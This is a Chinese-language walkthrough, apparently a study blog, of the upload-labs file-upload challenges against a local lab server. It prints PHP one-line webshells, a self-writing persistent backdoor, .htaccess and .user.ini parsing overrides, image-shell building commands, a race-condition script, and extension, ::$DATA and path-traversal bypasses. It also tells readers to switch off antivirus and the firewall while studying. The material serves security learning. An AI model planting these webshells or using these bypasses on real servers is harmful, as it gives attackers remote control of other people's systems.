文件上传
php官网:PHP
php一句话木马
将恶意代码(木马)伪装成看似正常的文件,绕过网站的前端或后端检测并上传,之后通过工具连接木马获得服务器控制权。
🐘 一句话木马是什么?
"一句话木马"是一种短小精悍的恶意代码,通常只有一行,但功能强大。它通过eval等函数执行接收到的指令,为攻击者提供操作服务器的后门。
当PHP标签被过滤时,可以用<%或%3C这类替代符号 来绕过限制。这属于Web安全中常见的一句话木马变形技术,通过使用不同编码或符号变体来规避关键词检测。


链接到木马文件
-
<?php ... ?>: PHP代码的起始和结束标签。 -
@: 错误控制运算符,用于屏蔽执行中可能产生的错误信息。 -
eval(): PHP中将字符串作为代码执行的函数,是整个木马的核心。 -
$_POST['cmd']: 从HTTP POST请求中获取名为cmd的参数值。
当这个文件被上传并访问时,攻击者可以通过客户端(如蚁剑、菜刀)向该文件发送POST请求,参数cmd中携带要执行的系统命令,这些命令就会被服务器执行。
192.168.test.php?w3b=这样的URL格式来执行命令,但要注意编码问题 可能导致显示异常(比如出现"黑点点")。在PHP中尖角号()是必须的 ,否则代码不会被识别为PHP。但如果系统禁止使用尖角号,使用PHP开头的方式(比如短标签<?或<script language="php">)。
pikachu里
文件上传漏洞 的核心在于:当系统允许上传文件时,如果没有严格限制文件类型,攻击者就可能上传恶意文件(比如PHP木马)。
两个关键点:
1)必须绕过限制成功上传;
2)要知道文件最终存储在服务器的哪个路径,否则上传了也无法利用。
前期准备
实时保护和防火墙关一下(仅学习时使用)

原理:
php---->png
burpsuit抓包
请求里修改回php
第一关
源码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
1.创建php文件
一句话木马 的典型形式是eval($_POST['cmd']),它的利用方式是通过给cmd参数赋值来执行任意PHP代码
<?php eval($_POST['cmd']);?>

2.蚁剑链接
整个过程就是:初始化→设置访问路径→通过参数名传递指令。

3.burpsuit抓包修改后缀
关键点在于:
1)先用合法后缀(如.png)骗过前端检查;
2)抓包后改回真实后缀(.php);
3)最后要确认文件上传路径才能执行攻击。

4.右键查看新标签打开图像

这个 PHP 文件就像一个对讲机: 蚁剑 = 正常对讲(POST 带 cmd) :你持续发送指令(删文件、看目录、上传文件),服务器接收指令干活,这就是 WebShell 正常管理功能。 浏览器裸访问 = 对讲机开机自检(无 cmd):只是弹出环境信息,你没法发指令控制服务器。
原生一句话木马:<?php eval($_POST['cmd']);?>
-
浏览器 GET 访问:报错
Undefined index:cmd,无法管理服务器 -
蚁剑 POST 访问:正常工作,管理服务器文件
<?php
if(isset($_POST['cmd'])){
eval($_POST['cmd']);
}else{
phpinfo();
}
?>
多加了一层 "自检页面",不会破坏蚁剑原本的通信功能,两种访问方式互不干扰。

第二关
重点在于分析源代码。
Content-Type 属性的作用,以及后端如何校验文件类型。Content-Type 用来声明上传文件的类型,白名单 三种类型:image/png、image/jpg、image/gif
如果匹配,才会继续处理文件;如果不匹配,就直接返回错误,比如提示"文件类型不正确,请重新上传"。这种校验方式能有效防止用户上传不安全的文件类型。

-
修改Content-Type字段:把原本的"text/php"改成"image/jpeg"或"image/png"来欺骗系统
-
验证解析效果:先用简单的phpinfo()函数测试是否上传成功,确认服务器能解析上传的php文件
第三关
源码分析

上传test.png,burpsuit修改

第四关
阿帕奇(Apache)服务器配置文件的特殊用法
源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
题目考察的是**.htaccess** 这个文件,它是目录级别的配置文件,不像主配置文件那样全局生效。
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
利用Apache的.htaccess配置文件。通过在upload目录下创建这个文件,可以强制让Apache把jpg文件当作php来解析。
核心在于:真正的攻击成功需要同时满足两个条件:
-
绕过上传限制;
-
确保文件能被正确解析执行。
burp 抓包,修改后缀为.htaccess上传
旧写法 AddType application/x-httpd-php 在新版 Apache2.4 已经废弃,是产生 500 错误的主要原因!


修改php到有nts版本----因为Apache默认不会走FPM进程 ,需要手动切换到**Nginx+PHP(NTS版本)**的组合才能触发解析。
第五关
文件访问重定向
源代码
黑名单校验很难做到完全覆盖,比如用全大写的.PHP后缀,或者.php7、.html等变体都可能绕过限制。

当用户访问某个目录下的php文件时,系统会默认加载同目录下的jpg文件内容。
正常情况下访问jpg不会执行php代码,但通过创建.htaccess配置文件 ,就能实现访问php文件时自动加载jpg内容的效果。

auto_prepend_file=shell.jpg
在user.ini文件中添加一行配置,就能实现访问任何内容前先加载这张图片的功能。
修改的user.ni文件没生效------因为Apache默认不会走FPM进程 ,需要手动切换到**Nginx+PHP(NTS版本)**的组合才能触发解析。
第六关
源代码

先上传.htaccess文件,再上传test.png文件

test.php +空格

第七关

-
. /+.空格

在文件名末尾加一个点可以让系统误判文件类型。比如把"test.php."上传时,服务器会忽略最后的点,仍按php文件执行。

第8关
本关考核的是 deldot() 函数的行为 。deldot() 只删除末尾的一个点,但实际源码中它是循环删除所有末尾点。
"shell.php. . " → "shell.php. . "(trim 先去空格)
第9关
index.txt::$DATA====>默认数据流
源码分析
// 黑名单数组,禁止上传的后缀(已经包含 .htaccess)


-
::$DATA
-
流名的特殊语法访问非默认流(比如index.txt:metadata),不过直接打开文件时系统默认只显示主数据流。



第10关
单次字符串替换(双写绕过)

filename="test.pphphp"


第11关
GET 路径穿越(save_path 漏洞)
本关考核的是 路径穿越(Directory Traversal) 漏洞。源码使用白名单检查扩展名,但 save_path 参数直接来自 GET 请求,未做任何过滤,可注入 ../ 实现任意路径写入。
- 源码分析



第12关
POST 路径穿越
本关与 Pass-11 原理相同,但 save_path 从 GET 改为 POST。POST 数据不会 URL 编码,需要在 Burp 中直接插入原始空字节。



第13关
手工读取文件头(unpack)
本关考核的是最基础的文件类型检测------只读取文件头 2 个字节判断文件类型。这种检测极其薄弱,任何文件只要前 2 字节匹配就能通过。
图片码====》服务器
访问图片码---》服务器没办法把php图片识别为php 代码


图片马具体详细步骤见第15关
也可以用 (0x00截断)

第14关
| 项目 | Pass-13 | Pass-14 |
|---|---|---|
| 检测深度 | 只看前 2 字节 | 解析完整图片结构 |
| 纯文本改后缀 | 能通过(只要加2字节头) | 不能通过(不是真图片) |
| 图片马要求 | 任意文件+合法头 | 必须是真正的图片文件 |
| 检测函数 | unpack() 手工解包 |
getimagesize() 内置函数 |
步骤和上关一样,详细步骤见15关

第15关
提示

文件上传验证绕过的技术点。他在文件内容前添加了"gif89a"的魔术数字,成功让系统误判文件类型为GIF。
比如第14关使用getimagesize()函数检测图片尺寸,就算改了魔术数字,上传PHP文件还是会报错。第15关则是通过image_type判断文件类型,同样存在被绕过的风险。
上传失败的根本原因不是代码逻辑错误,而是缺少upload目录 。解决方法很简单------手动创建upload文件夹即可。

本关使用 exif_imagetype() 检测文件类型。该函数读取文件开头的签名库(比前两关更全面),但同样不检查尾部内容。
需要启用 PHP EXIF 扩展。
1.修改配置文件

2.重启Apache

3.验证
命令行:php -m | findstr exif
或访问 phpinfo() 页面搜索 exif
具体步骤
1.准备图片a.jpg和文件shesll.php

2.Windows CMD 合成命令
:: jpg图片马
copy a.jpg /b + shell.php /a shell.jpg

在这个文件目录下输入cmd打开

参数说明:
-
/b:二进制模式(图片) -
/a:ASCII 文本模式(php 代码)
Linux 命令等效:
cat a.jpg shell.php > shell.jpg
3.上传图片马

上传成功后,记录返回的文件地址,类似:
upload/3020260729072259.png
成功截图

第16关
防御方式:它不仅校验文件类型,还会对上传内容进行二次渲染。
图片上传后系统会打乱原文件内容,导致嵌入的PHP代码失效。关键解决思路是通过比对原图和渲染后的文件,找出未被修改的部分,然后把木马代码插到这些保留区域。
源码分析

操作步骤
1.构造 GIF 图片马
GIF89a
<?php @eval($_POST['cmd']); ?>
大家也可以用这个,也是一样的一句话木马,只是润色避免了我浏览器打不开
GIF89a
<?php
if(isset($_POST['cmd'])){
eval($_POST['cmd']);
}else{
phpinfo();
}
?>
注意这里的图片一定要是动图!!!
下面是我找到的gif格式的图片,先把它重命名a.gif,上传875.gif
第二次导入

,上传在得到

GIF 文件头
GIF89a是校验关键,exif_imagetype()识别为合法 gif。
💡为什么 GIF 更容易成功:PHP 的
imagecreatefromgif对 GIF 的注释 / 文件头部内容保留性更强,多数情况下不会清除头部代码
然后用010Editor比较后面两张图片,在空白处写入一句话木马的代码,上传,后面步骤一样。
第17关--条件竞争漏洞分析
关键点 在于:当用户上传可疑文件时,系统会先用unlink()函数立即删除该文件,这是一种安全防护措施。
防御逻辑是:先把上传文件暂存到指定路径,检测到异常就立即调用unlink删除。

核心思路 是通过同时发送大量请求来突破系统限制:比如默认发10个请求,但可以调整到每次发20个来提高攻击频率。关键在于观察响应状态码------如果返回200说明上传成功(即使后续被删除),而访问时只要不是404就代表命中了一次有效文件。
实际操作中需要双线并行:一边持续上传文件,另一边不断访问目标路径。就像打地鼠游戏,只要抓住任何一个非404的响应瞬间,就证明攻击成功了。不过要注意,这种暴力破解方法需要反复尝试,成功率不稳定。
步骤1.上传test.png,用burpsuit抓包

步骤 2:Intruder 持续发包(不断尝试上传)
-
将数据包发送到 Intruder
-
Payload 设置:Null payloads(无载荷,单纯循环重放)

选项设置:线程数调至 30~50,无限循环发包
作用:不停上传 shell.php,让文件反复落地


步骤 3:并发持续访问文件(抢占竞争窗口)
方案 A(Burp Repeater 多标签)
新建请求,循环访问地址:
http://192.168.178.1/upload/Pass-17/shell.php
开启多线程持续 GET 访问。
方案 B(Python 脚本,成功率更高,推荐)
import requests
import threading
url = "http://192.168.178.1/upload/Pass-17/shell.php"
data = {"cmd":"phpinfo();"}
def visit():
while True:
try:
res = requests.post(url,data=data,timeout=0.3)
if res.status_code == 200 and "phpinfo" in res.text:
print("✅竞争成功!木马执行!")
break
except:
pass
t = threading.Thread(target=visit)
t.start()
脚本持续 POST 发包触发 eval,一旦命中时间窗口,页面执行 phpinfo。
第18关
Pass17:后端不随机改名,可以直接竞争访问原文件名
Pass18:后端随机重命名,必须使用 "自写入生成固定文件名" 的 Payload,这是最关键区别!
不要直接写一句话,改用文件创建木马!
修改你的test.php内容:
<?php
// 访问瞬间,在当前目录生成稳定名字shell.php
$f = fopen("shell.php","w");
fwrite($f,'<?php @eval($_POST["cmd"]); ?>');
fclose($f);
?>
原理说明
-
Intruder 持续高并发上传
test.php -
在服务器删除
test.php之前,GET 访问触发代码执行 -
脚本自动生成固定名称 shell.php
-
后续直接访问
http://192.168.178.1/upload/Pass-18/shell.php永久后门
后面操作和上一关一样
第19关

接收 POST 参数 save_name(自定义保存文件名)


第20关

save_name[0]=shell.php
save_name[1]=jpg


